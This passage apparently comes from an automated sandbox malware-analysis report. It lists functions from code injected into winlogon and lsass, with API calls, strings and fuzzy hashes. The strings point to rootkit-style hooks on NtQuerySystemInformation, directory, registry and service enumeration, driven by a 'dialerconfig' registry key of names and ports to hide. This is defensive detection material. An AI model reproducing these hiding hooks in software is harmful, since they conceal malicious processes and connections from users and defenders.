API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: a87dbb86b00b2b98d5e7ae00f565f44d8c78c7afccc986630b2b213103a98e21
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: D9E086A1640B84D0EF018F62EC8439833A4DB58B68FC89123DD5C47321FA38D5F9C300

Function 000002D0165873B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002D0165873D8

Strings

Locator', xrefs: 000002D0165873DD
riptor at (, xrefs: 000002D0165873C0

Memory Dump Source

Source File: 00000036.00000002.3436521860.000002D016580000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D016580000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d016580000_winlogon.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: dffd4c35c552f18d438efc623f6b9ab54137c7cb9bea290096256bc086aaf240
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: AFE086A1600B84C0EF018F61E8802987364E758B58FC89123CA4C47321EA38D5E5C300

Function 000002D0165E1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E1C2D
HeapAlloc.KERNEL32 ref: 000002D0165E1C3B
GetProcessHeap.KERNEL32 ref: 000002D0165E1C77
HeapFree.KERNEL32 ref: 000002D0165E1C85

Part of subcall function 000002D0165E152C: StrCmpIW.SHLWAPI ref: 000002D0165E155D

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 6801c8294921cadce8a74c671636f0fe5ff9b85a627fac1833d6bc37b2bfe6e2
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: 7F118F25701B8481EF54DBA6E888769B3A1FB89FC1F98406ADE4D87775DE39D942C300

Function 000002D0165E1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002D0165E126E
HeapAlloc.KERNEL32 ref: 000002D0165E127D
GetProcessHeap.KERNEL32 ref: 000002D0165E1297
HeapAlloc.KERNEL32 ref: 000002D0165E12A8

Memory Dump Source

Source File: 00000036.00000002.3436664152.000002D0165E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D0165E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_54_2_2d0165e0000_winlogon.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 68d956744345cf7861370da0470b2e65133afa0ec658b7fe96f4140d664497f0
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 57E06535A01A5486EB088FA2DC4C74A36E1FB89F06F88C024C90D07361DF7EC899CBA0

Analysis Process: lsass.exePID: 652, Parent PID: 2748COMMON

Execution Graph

Execution Coverage:	0.9%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	123
Total number of Limit Nodes:	10

Executed Functions

Function 000002D6F151253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32 ref: 000002D6F1512620
StrCpyW.SHLWAPI ref: 000002D6F1512639

Strings

\\.\pipe\, xrefs: 000002D6F151262B

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: fa04f75c9475a18510419c108b79fce0653dad0fa003f1e7f796e61fbc6322b7
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: A07170A6200F858AE6669F25B85C3AA6794F3857D4F64002BDD0F67F89DF39CE458700

Function 000002D6F151202C Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 162
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCmpNIW.SHLWAPI ref: 000002D6F15120C6

Part of subcall function 000002D6F1512F04: GetProcessHeap.KERNEL32 ref: 000002D6F1512F27
Part of subcall function 000002D6F1512F04: HeapAlloc.KERNEL32 ref: 000002D6F1512F3A
Part of subcall function 000002D6F1512F04: StrCmpNIW.SHLWAPI ref: 000002D6F1512FAF
Part of subcall function 000002D6F1512F04: GetProcessHeap.KERNEL32 ref: 000002D6F1513015
Part of subcall function 000002D6F1512F04: HeapFree.KERNEL32 ref: 000002D6F1513023

Strings

S, xrefs: 000002D6F15121E7
dialer, xrefs: 000002D6F15120BF

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: S$dialer
API String ID: 756756679-3873981283
Opcode ID: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction ID: 7a83d85bf80e11694d2d7db4162bf47d6d0c4d20143003a03d639ac9e943c438
Opcode Fuzzy Hash: 10a6181ad89868b013f95f8d430f86fb0b73c76b57149a1256a42c526e771eaa
Instruction Fuzzy Hash: 6D518BB6A10E248AEB62CF26F84C6AD63A5F7047C4F25951ADE1E22E85DB39CC51C740

Function 000002D6F1511A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002D6F1511A60
StrCmpNIW.SHLWAPI ref: 000002D6F1511A7A
lstrlenW.KERNEL32 ref: 000002D6F1511A89
StrCpyW.SHLWAPI ref: 000002D6F1511A9E

Strings

\\?\, xrefs: 000002D6F1511A6E

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 1a29fbed29bbccc1987992930e6102033b0a423cd1e4e3151e2afb20eff6506f
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 14F03CA3304A8196EB608F21F8DC75967A0F758BC8F944022DA4E46D58DB7CCE8DCB00

Function 000002D6F151328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002D6F15132AE
PathFindFileNameW.SHLWAPI ref: 000002D6F15132BD

Part of subcall function 000002D6F1513844: StrCmpNIW.SHLWAPI ref: 000002D6F151385C

Part of subcall function 000002D6F1513790: GetModuleHandleW.KERNEL32 ref: 000002D6F151379E
Part of subcall function 000002D6F1513790: GetCurrentProcess.KERNEL32 ref: 000002D6F15137CC
Part of subcall function 000002D6F1513790: VirtualProtectEx.KERNEL32 ref: 000002D6F15137EE
Part of subcall function 000002D6F1513790: GetCurrentProcess.KERNEL32 ref: 000002D6F1513809
Part of subcall function 000002D6F1513790: VirtualProtectEx.KERNEL32 ref: 000002D6F151382A

CreateThread.KERNEL32 ref: 000002D6F151330B

Part of subcall function 000002D6F1511D14: GetCurrentThread.KERNEL32 ref: 000002D6F1511D1F

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: 25535357102f4341e1be78c6643d6b7c1b19e4a9101efaa7cc3453e24cb777c9
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 7811C0F1610E808EFBA2AF61F86D75922A4A7543E4F40412B990F92E90EF7CCC48C204

Function 000002D6F1511ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002D6F1511628: GetProcessHeap.KERNEL32 ref: 000002D6F1511633
Part of subcall function 000002D6F1511628: HeapAlloc.KERNEL32 ref: 000002D6F1511642
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116B2
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116DF
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15116F9
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511719
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511734
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511754
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151176F
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151178F
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117AA
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F15117CA

Sleep.KERNEL32 ref: 000002D6F1511AD7
SleepEx.KERNELBASE ref: 000002D6F1511ADD

Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15117E5
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511805
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511820
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511840
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F151185B
Part of subcall function 000002D6F1511628: RegOpenKeyExW.ADVAPI32 ref: 000002D6F151187B
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F1511896
Part of subcall function 000002D6F1511628: RegCloseKey.ADVAPI32 ref: 000002D6F15118A0

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: fabcacca4273e522b4c4af737a3624ee53845b919a9d6f50b07f832e41c12ee0
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 4A31BDE1210E4599EF529F36F6CD3A923A5BB44BD0F0854679E0FA7E95EE1CCC51C210

Function 000002D6F14E273C Relevance: 1.7, APIs: 1, Instructions: 187
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 000002D6F14E285E

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 2a527126fa6660018da58d358d37c763bfb819c27c69be159df49911753554d9
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: BB61D472B01A908BDB54CF15A44CB2D7392FB94BE4F58912ADE5A07B8CDA3CDD52C700

Non-executed Functions

Function 000002D6F1512B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002D6F1512BD0
lstrlenW.KERNEL32 ref: 000002D6F1512E0A

Part of subcall function 000002D6F151199C: OpenProcess.KERNEL32 ref: 000002D6F15119C2
Part of subcall function 000002D6F151199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002D6F15119E0
Part of subcall function 000002D6F151199C: PathFindFileNameW.SHLWAPI ref: 000002D6F15119EF
Part of subcall function 000002D6F151199C: lstrlenW.KERNEL32 ref: 000002D6F15119FB
Part of subcall function 000002D6F151199C: StrCpyW.SHLWAPI ref: 000002D6F1511A0E
Part of subcall function 000002D6F151199C: CloseHandle.KERNEL32 ref: 000002D6F1511A1C

GetProcAddress.KERNEL32 ref: 000002D6F1512BE5

Part of subcall function 000002D6F151152C: StrCmpIW.SHLWAPI ref: 000002D6F151155D

Part of subcall function 000002D6F1513844: StrCmpNIW.SHLWAPI ref: 000002D6F151385C

StrCmpNIW.SHLWAPI ref: 000002D6F1512C28
lstrlenW.KERNEL32 ref: 000002D6F1512D50

Strings

ntdll.dll, xrefs: 000002D6F1512BC9
\Device\Nsi, xrefs: 000002D6F1512C1B
NtQueryObject, xrefs: 000002D6F1512BDB

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: lstrlen$FileHandleModuleName$AddressCloseFindOpenPathProcProcess
String ID: NtQueryObject$\Device\Nsi$ntdll.dll
API String ID: 2119608203-3850299575
Opcode ID: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction ID: e52bf68b31deb3b75f098f43a4d7db34dffa5d04e032c03eec0775e701bb4258
Opcode Fuzzy Hash: 9c3d18d3d08cd52b53439cd9635d78b514e0dbb1c6aaf52094b9259375ebc022
Instruction Fuzzy Hash: B0B17CA2210E908EEB668F25E44C7A963A5F744BD4F64511BEE0E67F94DF38CC81C740

Function 000002D6F1517D90 Relevance: 10.6, APIs: 7, Instructions: 72COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 000002D6F1517DAC
RtlCaptureContext.NTDLL ref: 000002D6F1517DD9
RtlLookupFunctionEntry.NTDLL ref: 000002D6F1517DF3
RtlVirtualUnwind.NTDLL ref: 000002D6F1517E34
IsDebuggerPresent.KERNEL32 ref: 000002D6F1517E88
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D6F1517EA9
UnhandledExceptionFilter.KERNEL32 ref: 000002D6F1517EB4

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction ID: 2c2ab99ae258e3bf0c478ecf6a228b1e325b8175137ff9dca730b23599cdb4cd
Opcode Fuzzy Hash: 781d1b9bde8934adc12bfa83d35ad1be64d2520f1bd2f9e02f1b4bb1ea1a0257
Instruction Fuzzy Hash: 97311AB2205E808AEB609F64F8887ED7364F785788F44442ADA4E57B95EF38CA48C710

Function 000002D6F151D2A4 Relevance: 9.1, APIs: 6, Instructions: 83COMMON

Download Yara Rule

APIs

RtlCaptureContext.NTDLL ref: 000002D6F151D31D
RtlLookupFunctionEntry.NTDLL ref: 000002D6F151D335
RtlVirtualUnwind.NTDLL ref: 000002D6F151D370
IsDebuggerPresent.KERNEL32 ref: 000002D6F151D3A9
SetUnhandledExceptionFilter.KERNEL32 ref: 000002D6F151D3B3
UnhandledExceptionFilter.KERNEL32 ref: 000002D6F151D3BE

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction ID: 58eb25c51ad3c38e9823b02ddc7af6a39282a3411e5fadb664d5dd80ce479239
Opcode Fuzzy Hash: 056b8809331e045eb0ff6df28b8a67c6be047fb713c0be5e5acd4a9b147221bc
Instruction Fuzzy Hash: BB315D76214F808AEB60CF25F88839E73A4F789794F500126EA9E57B99DF3CC945CB00

Function 000002D6F1511628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002D6F1511633
HeapAlloc.KERNEL32 ref: 000002D6F1511642

Part of subcall function 000002D6F1511268: GetProcessHeap.KERNEL32 ref: 000002D6F151126E
Part of subcall function 000002D6F1511268: HeapAlloc.KERNEL32 ref: 000002D6F151127D
Part of subcall function 000002D6F1511268: GetProcessHeap.KERNEL32 ref: 000002D6F1511297
Part of subcall function 000002D6F1511268: HeapAlloc.KERNEL32 ref: 000002D6F15112A8

RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116B2
RegOpenKeyExW.ADVAPI32 ref: 000002D6F15116DF
RegCloseKey.ADVAPI32 ref: 000002D6F15116F9
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511719
RegCloseKey.ADVAPI32 ref: 000002D6F1511734
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511754
RegCloseKey.ADVAPI32 ref: 000002D6F151176F
RegOpenKeyExW.ADVAPI32 ref: 000002D6F151178F
RegCloseKey.ADVAPI32 ref: 000002D6F15117AA
RegOpenKeyExW.ADVAPI32 ref: 000002D6F15117CA
RegCloseKey.ADVAPI32 ref: 000002D6F15117E5
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511805
RegCloseKey.ADVAPI32 ref: 000002D6F1511820
RegOpenKeyExW.ADVAPI32 ref: 000002D6F1511840
RegCloseKey.ADVAPI32 ref: 000002D6F151185B
RegOpenKeyExW.ADVAPI32 ref: 000002D6F151187B
RegCloseKey.ADVAPI32 ref: 000002D6F1511896
RegCloseKey.ADVAPI32 ref: 000002D6F15118A0

Part of subcall function 000002D6F15112BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F1511319
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F1511327
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F1511338
Part of subcall function 000002D6F15112BC: RegEnumValueW.ADVAPI32 ref: 000002D6F1511397
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F15113DF
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F15113ED
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F151140A
Part of subcall function 000002D6F15112BC: HeapFree.KERNEL32 ref: 000002D6F1511418
Part of subcall function 000002D6F15112BC: lstrlenW.KERNEL32 ref: 000002D6F1511421
Part of subcall function 000002D6F15112BC: GetProcessHeap.KERNEL32 ref: 000002D6F151142F
Part of subcall function 000002D6F15112BC: HeapAlloc.KERNEL32 ref: 000002D6F151143D

Strings

pid, xrefs: 000002D6F1511712
process_names, xrefs: 000002D6F151174D
tcp_local, xrefs: 000002D6F15117FE
SOFTWARE\dialerconfig, xrefs: 000002D6F1511692
startup, xrefs: 000002D6F15116D5
udp, xrefs: 000002D6F1511874
service_names, xrefs: 000002D6F15117C3
paths, xrefs: 000002D6F1511788
tcp_remote, xrefs: 000002D6F1511839

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: 1e1e47678fa7c4b781087d3b5f8b15c943a24ad0d42d65cabc9df2231e8d4def
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 1B71A5A6710E918AEB119F76F89CA9923B4FB84BC8F405112DE4E57F69EF2CC844C744

Function 000002D6F15112BC Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 120
memoryregistrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002D6F1511319
GetProcessHeap.KERNEL32 ref: 000002D6F1511327
HeapAlloc.KERNEL32 ref: 000002D6F1511338
RegEnumValueW.ADVAPI32 ref: 000002D6F1511397

Part of subcall function 000002D6F151152C: StrCmpIW.SHLWAPI ref: 000002D6F151155D

GetProcessHeap.KERNEL32 ref: 000002D6F15113DF
HeapAlloc.KERNEL32 ref: 000002D6F15113ED
GetProcessHeap.KERNEL32 ref: 000002D6F151140A
HeapFree.KERNEL32 ref: 000002D6F1511418
lstrlenW.KERNEL32 ref: 000002D6F1511421
GetProcessHeap.KERNEL32 ref: 000002D6F151142F
HeapAlloc.KERNEL32 ref: 000002D6F151143D
StrCpyW.SHLWAPI ref: 000002D6F151145F
GetProcessHeap.KERNEL32 ref: 000002D6F1511476
HeapFree.KERNEL32 ref: 000002D6F1511484

Strings

d, xrefs: 000002D6F151135A

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$EnumInfoQueryValuelstrlen
String ID: d
API String ID: 2005889112-2564639436
Opcode ID: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction ID: 5fb3b21df960b81225b638196f68b2da2c963b60e6c4826c36aa05b26c7c4fc2
Opcode Fuzzy Hash: 8b653d2a3574a9b9f54f76d34c9bbade1314fe17b6e977058bb62b7e32ce9810
Instruction Fuzzy Hash: B95115B6200B848AEB55CF62F54C35AA7A1F789FD9F144126DE4A07B58DF3CD849CB00

Function 000002D6F1511D14 Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 65
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThread.KERNEL32 ref: 000002D6F1511D1F

Part of subcall function 000002D6F1511FD4: GetModuleHandleA.KERNEL32 ref: 000002D6F1511FEC
Part of subcall function 000002D6F1511FD4: GetProcAddress.KERNEL32 ref: 000002D6F1511FFD

Part of subcall function 000002D6F1515B30: GetCurrentThreadId.KERNEL32 ref: 000002D6F1515B6B

Strings

ntdll.dll, xrefs: 000002D6F1511D2D
NtResumeThread, xrefs: 000002D6F1511D62
EnumServicesStatusExW, xrefs: 000002D6F1511E11, 000002D6F1511E32
NtEnumerateValueKey, xrefs: 000002D6F1511DD6
NtQueryDirectoryFile, xrefs: 000002D6F1511D7F
advapi32.dll, xrefs: 000002D6F1511DF7, 000002D6F1511E18
sechost.dll, xrefs: 000002D6F1511E39
NtQueryDirectoryFileEx, xrefs: 000002D6F1511D9C
NtQuerySystemInformation, xrefs: 000002D6F1511D45
NtDeviceIoControlFile, xrefs: 000002D6F1511E56
EnumServiceGroupW, xrefs: 000002D6F1511DF0
NtEnumerateKey, xrefs: 000002D6F1511DB9

Memory Dump Source

Source File: 0000003E.00000002.3440588007.000002D6F1510000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F1510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f1510000_lsass.jbxd

Similarity

API ID: CurrentThread$AddressHandleModuleProc
String ID: EnumServiceGroupW$EnumServicesStatusExW$NtDeviceIoControlFile$NtEnumerateKey$NtEnumerateValueKey$NtQueryDirectoryFile$NtQueryDirectoryFileEx$NtQuerySystemInformation$NtResumeThread$advapi32.dll$ntdll.dll$sechost.dll
API String ID: 4175298099-1975688563
Opcode ID: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction ID: acd4e2c9eb3dd1a9bb1b7a25fe6521af63330346e6cf64fc31cecd724e9f3874
Opcode Fuzzy Hash: 848021bf4701eae64bbfc749c93af06548ec6c37c79a2989ab503d46e0816dd6
Instruction Fuzzy Hash: C83162E9110E8AA8EE06EFA5F8AE6D46321B7143C4F905017981F23D75DF7C8E4AC760

Function 000002D6F14E6910 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002D6F14E6938
__scrt_acquire_startup_lock.LIBCMT ref: 000002D6F14E698A
_RTC_Initialize.LIBCMT ref: 000002D6F14E69B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002D6F14E69DE
__scrt_release_startup_lock.LIBCMT ref: 000002D6F14E6A09

Strings

`dynamic initializer for ', xrefs: 000002D6F14E69C7
`eh vector vbase copy constructor iterator', xrefs: 000002D6F14E69EE
`eh vector copy constructor iterator', xrefs: 000002D6F14E6A3B
scriptor', xrefs: 000002D6F14E6B39, 000002D6F14E6BB2, 000002D6F14E6BEC

Memory Dump Source

Source File: 0000003E.00000002.3440487740.000002D6F14E0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002D6F14E0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_62_2_2d6f14e0000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID: `dynamic initializer for '$`eh vector copy constructor iterator'$`eh vector vbase copy constructor iterator'$scriptor'
API String ID: 190073905-1786718095
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: a6791069ef224389268787c1cde3096a7f5d96d964d78a2d6507250396e19ec1
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: A681EF61A00E018EFA54EB66B44D3A966E1ABC57C0F54812B9A1B47F9FDF3CCE458B00

Function 000002D6F151CE28 Relevance: 18.1, APIs: 12, Instructions: 112
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32 ref: 000002D6F151CE37
FlsGetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE4C
FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE6D
FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CE9A
FlsSetValue.KERNEL32(?,?,?,000002D6F1520A6B,?,?,?,000002D6F152045C,?,?,?,000002D6F151C84F), ref: 000002D6F151CEAB
